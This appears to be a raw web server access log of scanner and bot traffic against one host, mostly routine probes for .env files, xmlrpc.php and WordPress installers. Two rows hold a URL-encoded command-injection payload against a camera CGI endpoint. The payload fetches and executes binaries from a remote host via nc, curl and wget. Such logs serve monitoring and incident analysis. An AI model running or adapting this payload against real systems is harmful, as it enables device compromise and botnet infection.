| 2026-10-10 12:19:04 |
78.153.140.251 |
152.67.76.29 |
GET |
/.env |
|
HTTP/1.1 |
404 |
196 |
City of London |
GB |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.140 Safari/537.36 |
| 2026-10-10 12:19:05 |
78.153.140.251 |
152.67.76.29 |
POST |
/index.html |
|
HTTP/1.1 |
405 |
568 |
City of London |
GB |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.140 Safari/537.36 |
| 2026-10-10 12:20:37 |
43.161.217.205 |
152.67.76.29 |
GET |
/ |
|
HTTP/1.1 |
404 |
134 |
Hong Kong |
HK |
Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 |
| 2026-10-10 12:24:30 |
45.156.87.184 |
152.67.76.29 |
GET |
/payment-config |
|
HTTP/1.1 |
404 |
564 |
Eygelshoven |
NL |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/126 Safari/537.36 |
| 2026-10-10 12:24:59 |
54.147.123.152 |
log.rgifo.lol |
GET |
/ |
|
HTTP/1.1 |
200 |
3897 |
Ashburn |
US |
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0 |
| 2026-10-10 12:34:16 |
204.76.203.219 |
152.67.76.29 |
GET |
/ |
|
HTTP/1.1 |
404 |
196 |
Eygelshoven |
NL |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46 |
| 2026-10-10 12:37:20 |
93.87.35.213 |
rgifo.lol |
POST |
/xmlrpc.php |
|
HTTP/1.1 |
404 |
162 |
Belgrade |
RS |
Mozilla/5.0 (X11; Ubuntu; Linux x86_64; x86) AppleWebKit/537.36 (KHTML, like Gecko) Firefox/73.0.0.0 Safari/537.36 |
| 2026-10-10 12:37:55 |
43.165.67.31 |
rgifo.lol |
GET |
/ |
|
HTTP/1.1 |
301 |
178 |
Ashburn |
US |
Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 |
| 2026-10-10 12:37:57 |
43.165.67.31 |
rgifo.lol |
GET |
/index.html |
|
HTTP/1.1 |
200 |
1718 |
Ashburn |
US |
Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 |
| 2026-10-10 12:42:40 |
103.203.57.3 |
152.67.76.29 |
GET |
/ |
|
HTTP/1.1 |
404 |
134 |
|
CN |
Mozilla/5.0 zgrab/0.x |
| 2026-10-10 12:47:09 |
81.213.41.158 |
rgifo.lol |
POST |
/xmlrpc.php |
|
HTTP/1.1 |
404 |
162 |
Izmir |
TR |
Mozilla/5.0 (Windows NT 10.0; arm64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/11.0.0.0 Safari/537.36 |
| 2026-10-10 12:48:54 |
5.61.209.106 |
152.67.76.29 |
GET |
/SDK/webLanguage |
|
HTTP/1.1 |
404 |
196 |
|
SC |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46 |
| 2026-10-10 12:57:34 |
216.226.76.20 |
rgifo.lol |
GET |
/index.html |
|
HTTP/1.1 |
200 |
1718 |
|
US |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Safari/537.36 |
| 2026-10-10 12:59:04 |
172.71.144.157 |
rgifo.lol |
GET |
/wp-admin/install.php |
step=1 |
HTTP/1.1 |
301 |
178 |
Frankfurt am Main |
DE |
http://rgifo.lol/wp-admin/install.php?step=1 |
| 2026-10-10 12:59:04 |
172.71.144.157 |
rgifo.lol |
GET |
/wp-admin/install.php |
step=1 |
HTTP/2.0 |
404 |
123 |
Frankfurt am Main |
DE |
http://rgifo.lol/wp-admin/install.php?step=1 |
| 2026-10-10 13:05:52 |
216.73.217.68 |
log.rgifo.lol |
GET |
/query |
page=2184 |
HTTP/2.0 |
200 |
3407 |
Columbus |
US |
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) |
| 2026-10-10 13:06:27 |
185.242.226.112 |
152.67.76.29 |
GET |
/ |
|
HTTP/1.1 |
404 |
196 |
|
US |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36 |
| 2026-10-10 13:10:05 |
45.134.225.48 |
rgifo.lol |
GET |
/index.html |
|
HTTP/1.1 |
200 |
1718 |
|
DE |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 |
| 2026-10-10 13:10:05 |
45.134.225.48 |
rgifo.lol |
GET |
/robots.txt |
|
HTTP/1.1 |
404 |
196 |
|
DE |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 |
| 2026-10-10 13:17:27 |
198.235.24.161 |
rgifo.lol |
GET |
/index.html |
|
HTTP/1.1 |
200 |
4095 |
|
US |
Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity |
| 2026-10-10 13:19:06 |
185.189.182.234 |
rgifo.lol |
GET |
/ |
|
HTTP/1.1 |
400 |
166 |
|
NL |
|
| 2026-10-10 13:30:11 |
78.153.140.147 |
152.67.76.29 |
GET |
/.env |
|
HTTP/1.1 |
404 |
196 |
City of London |
GB |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.140 Safari/537.36 |
| 2026-10-10 13:30:11 |
78.153.140.147 |
152.67.76.29 |
POST |
/ |
|
HTTP/1.1 |
404 |
196 |
City of London |
GB |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.140 Safari/537.36 |
| 2026-10-10 13:31:38 |
117.27.135.91 |
152.67.76.29 |
GET |
/ |
|
HTTP/1.1 |
404 |
564 |
|
CN |
Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/119.0 Safari/537.36 |
| 2026-10-10 13:36:58 |
195.182.16.23 |
152.67.76.29 |
GET |
/SDK/webLanguage |
|
HTTP/1.1 |
404 |
196 |
|
SC |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46 |
| 2026-10-10 13:39:24 |
167.235.93.252 |
rgifo.lol |
GET |
/robots.txt |
|
HTTP/1.1 |
404 |
564 |
Falkenstein |
DE |
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.9677.1956 Safari/537.36 |
| 2026-10-10 13:39:24 |
167.235.93.252 |
rgifo.lol |
GET |
/index.html |
|
HTTP/2.0 |
200 |
1706 |
Falkenstein |
DE |
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.9677.1956 Safari/537.36 |
| 2026-10-10 13:45:26 |
20.65.217.178 |
152.67.76.29 |
GET |
/version |
|
HTTP/1.1 |
404 |
134 |
San Antonio |
US |
Mozilla/5.0 zgrab/0.x |
| 2026-10-10 13:47:22 |
45.135.194.116 |
152.67.76.29 |
GET |
/ |
|
HTTP/1.1 |
404 |
162 |
|
DE |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 |
| 2026-10-10 13:47:23 |
45.135.194.116 |
152.67.76.29 |
GET |
/cgi-bin/operator/servetest |
cmd=ntp&ServerName=writable_dir%3D%3Bfor+dir+in+%2Fdata%2Flocal%2Ftmp+%2Fdev%2Fshm+%2Fdev%2Fshm%2Ftmp+%2Ftmp+%2Fhome+%2Froot+%2Fvar%3Bdo+%5B+-d+%22%24dir%22+%5D%26%26%5B+-w+%22%24dir%22+%5D%26%26%7B+writable_dir%3D%24dir%3Bbreak%3B%7D%3Bdone%3B%5B+-z+%22%24writable_dir%22+%5D%7C%7Ccd+%22%24writable_dir%22%3Bfor+file+in+armv4l+armv5l+armv6l+armv7l+i686+m68k+mips+mipsel+powerpc+x86_64%3Bdo+full_path%3D%22%24writable_dir%2F%24file%22%3Bcase+%22%24file%22+in+mips%29if+command+-v+nc+%3E%2Fdev%2Fnull+2%3E%261%3Bthen+nc+45.135.194.116+9898+%3E+%22%24full_path%22+2%3E%2Fdev%2Fnull%7C%7C%3A%3Belif+command+-v+busybox+%3E%2Fdev%2Fnull+2%3E%261%3Bthen+busybox+nc+45.135.194.116+9898+%3E+%22%24full_path%22+2%3E%2Fdev%2Fnull%7C%7C%3A%3Bfi%3B%3Bmipsel%29if+command+-v+nc+%3E%2Fdev%2Fnull+2%3E%261%3Bthen+nc+45.135.194.116+1234+%3E+%22%24full_path%22+2%3E%2Fdev%2Fnull%7C%7C%3A%3Belif+command+-v+busybox+%3E%2Fdev%2Fnull+2%3E%261%3Bthen+busybox+nc+45.135.194.116+1234+%3E+%22%24full_path%22+2%3E%2Fdev%2Fnull%7C%7C%3A%3Bfi%3B%3B%2A%29url%3D%22http%3A%2F%2F45.135.194.116%2F%24file%22%3Bif+command+-v+curl+%3E%2Fdev%2Fnull+2%3E%261%3Bthen+curl+-f+-o+%22%24full_path%22+%22%24url%22+2%3E%2Fdev%2Fnull%7C%7Crm+-f+%22%24full_path%22%3Belif+command+-v+wget+%3E%2Fdev%2Fnull+2%3E%261%3Bthen+wget+-q+-O+%22%24full_path%22+%22%24url%22+2%3E%2Fdev%2Fnull%7C%7Crm+-f+%22%24full_path%22%3Belif+command+-v+busybox+%3E%2Fdev%2Fnull+2%3E%261%3Bthen+busybox+wget+-q+-O+%22%24full_path%22+%22%24url%22+2%3E%2Fdev%2Fnull%7C%7Crm+-f+%22%24full_path%22%3Bfi%3B%3Besac%3B%5B+-s+%22%24full_path%22+%5D%26%26chmod+%2Bx+%22%24full_path%22%26%26%22%24full_path%22+zavio%3Bdone&TimeZone=01:00 |
HTTP/1.1 |
404 |
162 |
|
DE |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 |
| 2026-10-10 13:47:23 |
45.135.194.116 |
152.67.76.29 |
GET |
/cgi-bin/operator/servetest |
cmd=ftp&ServerName=writable_dir%3D%3Bfor+dir+in+%2Fdata%2Flocal%2Ftmp+%2Fdev%2Fshm+%2Fdev%2Fshm%2Ftmp+%2Ftmp+%2Fhome+%2Froot+%2Fvar%3Bdo+%5B+-d+%22%24dir%22+%5D%26%26%5B+-w+%22%24dir%22+%5D%26%26%7B+writable_dir%3D%24dir%3Bbreak%3B%7D%3Bdone%3B%5B+-z+%22%24writable_dir%22+%5D%7C%7Ccd+%22%24writable_dir%22%3Bfor+file+in+armv4l+armv5l+armv6l+armv7l+i686+m68k+mips+mipsel+powerpc+x86_64%3Bdo+full_path%3D%22%24writable_dir%2F%24file%22%3Bcase+%22%24file%22+in+mips%29if+command+-v+nc+%3E%2Fdev%2Fnull+2%3E%261%3Bthen+nc+45.135.194.116+9898+%3E+%22%24full_path%22+2%3E%2Fdev%2Fnull%7C%7C%3A%3Belif+command+-v+busybox+%3E%2Fdev%2Fnull+2%3E%261%3Bthen+busybox+nc+45.135.194.116+9898+%3E+%22%24full_path%22+2%3E%2Fdev%2Fnull%7C%7C%3A%3Bfi%3B%3Bmipsel%29if+command+-v+nc+%3E%2Fdev%2Fnull+2%3E%261%3Bthen+nc+45.135.194.116+1234+%3E+%22%24full_path%22+2%3E%2Fdev%2Fnull%7C%7C%3A%3Belif+command+-v+busybox+%3E%2Fdev%2Fnull+2%3E%261%3Bthen+busybox+nc+45.135.194.116+1234+%3E+%22%24full_path%22+2%3E%2Fdev%2Fnull%7C%7C%3A%3Bfi%3B%3B%2A%29url%3D%22http%3A%2F%2F45.135.194.116%2F%24file%22%3Bif+command+-v+curl+%3E%2Fdev%2Fnull+2%3E%261%3Bthen+curl+-f+-o+%22%24full_path%22+%22%24url%22+2%3E%2Fdev%2Fnull%7C%7Crm+-f+%22%24full_path%22%3Belif+command+-v+wget+%3E%2Fdev%2Fnull+2%3E%261%3Bthen+wget+-q+-O+%22%24full_path%22+%22%24url%22+2%3E%2Fdev%2Fnull%7C%7Crm+-f+%22%24full_path%22%3Belif+command+-v+busybox+%3E%2Fdev%2Fnull+2%3E%261%3Bthen+busybox+wget+-q+-O+%22%24full_path%22+%22%24url%22+2%3E%2Fdev%2Fnull%7C%7Crm+-f+%22%24full_path%22%3Bfi%3B%3Besac%3B%5B+-s+%22%24full_path%22+%5D%26%26chmod+%2Bx+%22%24full_path%22%26%26%22%24full_path%22+zavio%3Bdone&ServerPort=21&Path=root&UserName=root&Password=root&Passive=off&SourceName=/var/ftptest&TargetName=testfile |
HTTP/1.1 |
404 |
162 |
|
DE |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 |
| 2026-10-10 13:57:51 |
213.209.159.9 |
152.67.76.29 |
GET |
/index.html |
|
HTTP/1.1 |
200 |
1718 |
|
TW |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/124.0.0.0 |
| 2026-10-10 13:57:55 |
213.209.159.9 |
152.67.76.29 |
GET |
/ |
|
HTTP/1.1 |
404 |
196 |
|
TW |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/124.0.0.0 |
| 2026-10-10 14:01:42 |
216.73.217.68 |
log.rgifo.lol |
GET |
/robots.txt |
|
HTTP/2.0 |
404 |
19 |
Columbus |
US |
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) |
| 2026-10-10 14:01:42 |
216.73.217.68 |
log.rgifo.lol |
GET |
/query |
page=2185 |
HTTP/2.0 |
200 |
3420 |
Columbus |
US |
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) |
| 2026-10-10 14:05:45 |
135.181.91.221 |
rgifo.lol |
GET |
/index.html |
|
HTTP/1.1 |
200 |
1718 |
Helsinki |
FI |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 |
| 2026-10-10 14:25:38 |
4.236.164.116 |
152.67.76.29 |
GET |
/index.html |
|
HTTP/1.1 |
200 |
1718 |
Washington |
US |
Mozilla/5.0 zgrab/0.x |
| 2026-10-10 14:27:21 |
45.198.224.124 |
152.67.76.29 |
GET |
/ |
|
HTTP/1.1 |
404 |
196 |
Stockholm |
SE |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46 |
| 2026-10-10 14:27:37 |
31.14.254.35 |
192.0.2.1 |
GET |
/ |
|
HTTP/1.1 |
404 |
162 |
City of London |
GB |
Mozilla/5.0 (compatible; Infrawatch/1.0; +https://infrawat.ch/) |
| 2026-10-10 14:27:48 |
31.14.254.17 |
152.67.76.29 |
GET |
/ |
|
HTTP/1.1 |
404 |
134 |
City of London |
GB |
Mozilla/5.0 (compatible; Infrawatch/1.0; +https://infrawat.ch/) |
| 2026-10-10 14:27:48 |
31.14.254.50 |
152.67.76.29 |
GET |
/api/mcp |
|
HTTP/1.1 |
404 |
134 |
City of London |
GB |
Mozilla/5.0 (compatible; Infrawatch/1.0; +https://infrawat.ch/) |
| 2026-10-10 14:27:48 |
5.226.140.15 |
152.67.76.29 |
GET |
/sse |
|
HTTP/1.1 |
404 |
134 |
City of London |
GB |
Mozilla/5.0 (compatible; Infrawatch/1.0; +https://infrawat.ch/) |
| 2026-10-10 14:37:02 |
78.153.140.147 |
152.67.76.29 |
GET |
/.env |
|
HTTP/1.1 |
404 |
196 |
City of London |
GB |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.140 Safari/537.36 |
| 2026-10-10 14:37:02 |
78.153.140.147 |
152.67.76.29 |
POST |
/ |
|
HTTP/1.1 |
404 |
196 |
City of London |
GB |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.140 Safari/537.36 |
| 2026-10-10 14:46:08 |
43.128.149.102 |
152.67.76.29 |
GET |
/ |
|
HTTP/1.1 |
404 |
134 |
Seoul |
KR |
Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 |
| 2026-10-10 14:50:05 |
134.209.195.46 |
152.67.76.29 |
GET |
/ |
|
HTTP/1.1 |
404 |
196 |
Amsterdam |
NL |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 ForestEngine/1.0 (+https://forestengine.net/#opt-out) |
| 2026-10-10 14:51:57 |
172.71.172.234 |
rgifo.lol |
GET |
/wp-admin/install.php |
step=1 |
HTTP/1.1 |
301 |
178 |
Frankfurt am Main |
DE |
http://rgifo.lol/wp-admin/install.php?step=1 |
| 2026-10-10 14:51:57 |
172.71.172.234 |
rgifo.lol |
GET |
/wp-admin/install.php |
step=1 |
HTTP/2.0 |
404 |
123 |
Frankfurt am Main |
DE |
http://rgifo.lol/wp-admin/install.php?step=1 |
| 2026-10-10 14:53:24 |
167.99.46.94 |
152.67.76.29 |
GET |
/index.html |
|
HTTP/2.0 |
200 |
1706 |
Amsterdam |
NL |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 ForestEngine/1.0 (+https://forestengine.net/#opt-out) |
| 2026-10-10 14:55:04 |
216.73.217.68 |
log.rgifo.lol |
GET |
/query |
page=2186 |
HTTP/2.0 |
200 |
3790 |
Columbus |
US |
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) |